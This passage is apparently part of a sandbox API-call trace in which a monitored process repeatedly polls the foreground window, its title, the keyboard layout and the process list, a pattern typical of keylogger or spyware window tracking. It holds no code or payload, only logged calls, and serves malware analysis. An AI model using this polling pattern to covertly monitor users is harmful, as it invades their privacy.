[0204.437] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0204.437] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0204.496] GetForegroundWindow () returned 0x101a2
[0204.496] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0204.496] EnumProcesses (in: lpidProcess=0x24802b0, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24802b0, lpcbNeeded=0x4f8f87c) returned 1
[0204.496] GetLastError () returned 0x0
[0204.496] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3523030, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3523030, ResultLength=0x4f8f840*=0x8ea8) returned 0x0
[0204.500] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0204.500] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0204.558] GetForegroundWindow () returned 0x101a2
[0204.558] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0204.622] GetForegroundWindow () returned 0x101a2
[0204.622] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0204.683] GetForegroundWindow () returned 0x101a2
[0204.683] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0204.745] GetForegroundWindow () returned 0x100f6
[0204.745] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0204.745] EnumProcesses (in: lpidProcess=0x2492570, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2492570, lpcbNeeded=0x4f8f87c) returned 1
[0204.746] GetLastError () returned 0x0
[0204.746] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3543050, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3543050, ResultLength=0x4f8f840*=0x8e28) returned 0x0
[0204.749] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0204.749] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0204.807] GetForegroundWindow () returned 0x101a2
[0204.807] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0204.808] EnumProcesses (in: lpidProcess=0x24a3f50, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24a3f50, lpcbNeeded=0x4f8f87c) returned 1
[0204.808] GetLastError () returned 0x0
[0204.808] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3563070, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3563070, ResultLength=0x4f8f840*=0x8e28) returned 0x0
[0204.811] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0204.811] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0204.871] GetForegroundWindow () returned 0x101a2
[0204.871] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0204.933] GetForegroundWindow () returned 0x101a2
[0204.933] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0204.995] GetForegroundWindow () returned 0x101a2
[0204.995] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0206.321] GetForegroundWindow () returned 0x100f6
[0206.321] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0206.383] GetForegroundWindow () returned 0x101a2
[0206.383] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0206.383] EnumProcesses (in: lpidProcess=0x23978b8, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23978b8, lpcbNeeded=0x4f8f87c) returned 1
[0206.384] GetLastError () returned 0x0
[0206.385] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3349a20, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3349a20, ResultLength=0x4f8f840*=0x8ca8) returned 0x0
[0206.389] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0206.389] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0206.445] GetForegroundWindow () returned 0x101a2
[0206.446] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0206.508] GetForegroundWindow () returned 0x101a2
[0206.508] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0206.572] GetForegroundWindow () returned 0x101a2
[0206.572] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0206.634] GetForegroundWindow () returned 0x100f6
[0206.634] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0206.634] EnumProcesses (in: lpidProcess=0x23a96d8, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23a96d8, lpcbNeeded=0x4f8f87c) returned 1
[0206.634] GetLastError () returned 0x0
[0206.635] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33a1eb0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x33a1eb0, ResultLength=0x4f8f840*=0x8c68) returned 0x0
[0206.641] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0206.641] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0206.695] GetForegroundWindow () returned 0x101a2
[0206.695] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0206.695] EnumProcesses (in: lpidProcess=0x23bac84, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23bac84, lpcbNeeded=0x4f8f87c) returned 1
[0206.695] GetLastError () returned 0x0
[0206.696] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33c1ed0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x33c1ed0, ResultLength=0x4f8f840*=0x8c68) returned 0x0
[0206.699] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0206.699] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0206.758] GetForegroundWindow () returned 0x101a2
[0206.758] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0206.820] GetForegroundWindow () returned 0x101a2
[0206.820] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0206.882] GetForegroundWindow () returned 0x101a2
[0206.882] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0206.945] GetForegroundWindow () returned 0x100f6
[0206.945] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0206.945] EnumProcesses (in: lpidProcess=0x23cca38, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23cca38, lpcbNeeded=0x4f8f87c) returned 1
[0206.945] GetLastError () returned 0x0
[0206.946] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e1ef0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x33e1ef0, ResultLength=0x4f8f840*=0x8c68) returned 0x0
[0206.950] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0206.950] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0207.007] GetForegroundWindow () returned 0x101a2
[0207.007] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0207.007] EnumProcesses (in: lpidProcess=0x23ddfe4, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23ddfe4, lpcbNeeded=0x4f8f87c) returned 1
[0207.008] GetLastError () returned 0x0
[0207.008] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3401f10, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3401f10, ResultLength=0x4f8f840*=0x8c68) returned 0x0
[0207.011] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0207.011] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0207.069] GetForegroundWindow () returned 0x101a2
[0207.069] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0207.132] GetForegroundWindow () returned 0x101a2
[0207.132] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0207.194] GetForegroundWindow () returned 0x101a2
[0207.194] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0207.257] GetForegroundWindow () returned 0x100f6
[0207.257] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0207.257] EnumProcesses (in: lpidProcess=0x23efdec, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23efdec, lpcbNeeded=0x4f8f87c) returned 1
[0207.257] GetLastError () returned 0x0
[0207.258] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3421f30, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3421f30, ResultLength=0x4f8f840*=0x8c68) returned 0x0
[0207.261] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0207.261] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0207.319] GetForegroundWindow () returned 0x101a2
[0207.319] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0207.319] EnumProcesses (in: lpidProcess=0x2401398, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2401398, lpcbNeeded=0x4f8f87c) returned 1
[0207.319] GetLastError () returned 0x0
[0207.320] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3441f50, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3441f50, ResultLength=0x4f8f840*=0x8c68) returned 0x0
[0207.323] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0207.323] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0207.382] GetForegroundWindow () returned 0x101a2
[0207.383] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0207.445] GetForegroundWindow () returned 0x101a2
[0207.445] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0207.506] GetForegroundWindow () returned 0x101a2
[0207.506] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0207.569] GetForegroundWindow () returned 0x100f6
[0207.569] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0207.569] EnumProcesses (in: lpidProcess=0x241314c, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x241314c, lpcbNeeded=0x4f8f87c) returned 1
[0207.569] GetLastError () returned 0x0
[0207.570] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3461f70, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3461f70, ResultLength=0x4f8f840*=0x8c68) returned 0x0
[0207.574] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0207.574] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0207.634] GetForegroundWindow () returned 0x101a2
[0207.634] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0207.634] EnumProcesses (in: lpidProcess=0x24246f8, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24246f8, lpcbNeeded=0x4f8f87c) returned 1
[0207.635] GetLastError () returned 0x0
[0207.636] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3482f90, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3482f90, ResultLength=0x4f8f840*=0x8c68) returned 0x0
[0207.641] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0207.641] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0207.693] GetForegroundWindow () returned 0x101a2
[0207.694] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0207.756] GetForegroundWindow () returned 0x101a2
[0207.756] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0207.818] GetForegroundWindow () returned 0x101a2
[0207.818] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0207.881] GetForegroundWindow () returned 0x100f6
[0207.881] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0207.881] EnumProcesses (in: lpidProcess=0x24364ac, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24364ac, lpcbNeeded=0x4f8f87c) returned 1
[0207.881] GetLastError () returned 0x0
[0207.882] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34a2fb0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x34a2fb0, ResultLength=0x4f8f840*=0x8c68) returned 0x0
[0207.885] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0207.885] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0207.943] GetForegroundWindow () returned 0x101a2
[0207.943] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0207.943] EnumProcesses (in: lpidProcess=0x2447a58, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2447a58, lpcbNeeded=0x4f8f87c) returned 1
[0207.943] GetLastError () returned 0x0
[0207.944] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34c2fd0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x34c2fd0, ResultLength=0x4f8f840*=0x8c68) returned 0x0
[0207.947] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0207.947] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0208.006] GetForegroundWindow () returned 0x101a2
[0208.006] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0208.068] GetForegroundWindow () returned 0x101a2
[0208.068] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0208.130] GetForegroundWindow () returned 0x101a2
[0208.130] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0208.193] GetForegroundWindow () returned 0x100f6
[0208.193] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0208.193] EnumProcesses (in: lpidProcess=0x2459860, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2459860, lpcbNeeded=0x4f8f87c) returned 1
[0208.193] GetLastError () returned 0x0
[0208.194] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34e2ff0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x34e2ff0, ResultLength=0x4f8f840*=0x8c68) returned 0x0
[0208.197] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0208.197] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0208.256] GetForegroundWindow () returned 0x101a2
[0208.256] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0208.256] EnumProcesses (in: lpidProcess=0x246ae0c, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x246ae0c, lpcbNeeded=0x4f8f87c) returned 1
[0208.256] GetLastError () returned 0x0
[0208.257] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3503010, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3503010, ResultLength=0x4f8f840*=0x8c68) returned 0x0
[0208.261] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0208.261] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0208.318] GetForegroundWindow () returned 0x101a2
[0208.318] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0208.380] GetForegroundWindow () returned 0x101a2
[0208.380] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0208.442] GetForegroundWindow () returned 0x101a2
[0208.442] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0208.505] GetForegroundWindow () returned 0x100f6
[0208.505] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0208.505] EnumProcesses (in: lpidProcess=0x247cbc0, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x247cbc0, lpcbNeeded=0x4f8f87c) returned 1
[0208.505] GetLastError () returned 0x0
[0208.506] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3523030, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3523030, ResultLength=0x4f8f840*=0x8c68) returned 0x0
[0208.509] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0208.509] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0208.567] GetForegroundWindow () returned 0x101a2
[0208.567] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0208.567] EnumProcesses (in: lpidProcess=0x248e16c, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x248e16c, lpcbNeeded=0x4f8f87c) returned 1
[0208.568] GetLastError () returned 0x0
[0208.569] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3543050, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3543050, ResultLength=0x4f8f840*=0x8c68) returned 0x0
[0208.573] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0208.573] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0208.630] GetForegroundWindow () returned 0x101a2
[0208.630] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0208.692] GetForegroundWindow () returned 0x101a2
[0208.692] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0208.754] GetForegroundWindow () returned 0x101a2
[0208.754] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0208.817] GetForegroundWindow () returned 0x100f6
[0208.817] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0208.817] EnumProcesses (in: lpidProcess=0x249ff20, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x249ff20, lpcbNeeded=0x4f8f87c) returned 1
[0208.818] GetLastError () returned 0x0
[0208.819] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3563070, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3563070, ResultLength=0x4f8f840*=0x8c68) returned 0x0
[0208.822] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0208.822] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0208.879] GetForegroundWindow () returned 0x101a2
[0208.879] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0208.879] EnumProcesses (in: lpidProcess=0x24b14cc, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24b14cc, lpcbNeeded=0x4f8f87c) returned 1
[0208.880] GetLastError () returned 0x0
[0208.880] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35a30a0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x35a30a0, ResultLength=0x4f8f840*=0x8c68) returned 0x0
[0208.884] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0208.884] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0208.942] GetForegroundWindow () returned 0x101a2
[0208.942] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0209.004] GetForegroundWindow () returned 0x101a2
[0209.004] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0209.066] GetForegroundWindow () returned 0x101a2
[0209.066] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0209.129] GetForegroundWindow () returned 0x100f6
[0209.129] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0209.129] EnumProcesses (in: lpidProcess=0x24c3744, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24c3744, lpcbNeeded=0x4f8f87c) returned 1
[0209.129] GetLastError () returned 0x0
[0209.129] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35c30c0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x35c30c0, ResultLength=0x4f8f840*=0x8c28) returned 0x0
[0209.132] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0209.132] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0209.193] GetForegroundWindow () returned 0x101a2
[0209.193] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0209.193] EnumProcesses (in: lpidProcess=0x24d4cd8, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24d4cd8, lpcbNeeded=0x4f8f87c) returned 1
[0209.194] GetLastError () returned 0x0
[0209.194] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35e30e0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x35e30e0, ResultLength=0x4f8f840*=0x8c28) returned 0x0
[0209.197] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0209.197] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0209.254] GetForegroundWindow () returned 0x101a2
[0209.254] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0209.316] GetForegroundWindow () returned 0x101a2
[0209.316] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0209.378] GetForegroundWindow () returned 0x101a2
[0209.378] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0209.441] GetForegroundWindow () returned 0x100f6
[0209.441] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0209.441] EnumProcesses (in: lpidProcess=0x24e6a20, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24e6a20, lpcbNeeded=0x4f8f87c) returned 1
[0209.441] GetLastError () returned 0x0
[0209.442] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3603100, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3603100, ResultLength=0x4f8f840*=0x8c28) returned 0x0
[0209.445] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0209.445] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0209.503] GetForegroundWindow () returned 0x101a2
[0209.503] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0209.503] EnumProcesses (in: lpidProcess=0x24f7f60, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24f7f60, lpcbNeeded=0x4f8f87c) returned 1
[0209.504] GetLastError () returned 0x0
[0209.504] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3623120, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3623120, ResultLength=0x4f8f840*=0x8c28) returned 0x0
[0209.507] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0209.507] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0209.565] GetForegroundWindow () returned 0x101a2
[0209.566] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0209.628] GetForegroundWindow () returned 0x101a2
[0209.628] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0209.690] GetForegroundWindow () returned 0x101a2
[0209.690] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0209.753] GetForegroundWindow () returned 0x100f6
[0209.753] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0209.753] EnumProcesses (in: lpidProcess=0x2509ca8, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2509ca8, lpcbNeeded=0x4f8f87c) returned 1
[0209.754] GetLastError () returned 0x0
[0209.754] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3643140, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3643140, ResultLength=0x4f8f840*=0x8c28) returned 0x0
[0209.758] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0209.759] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0209.816] GetForegroundWindow () returned 0x101a2
[0209.816] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
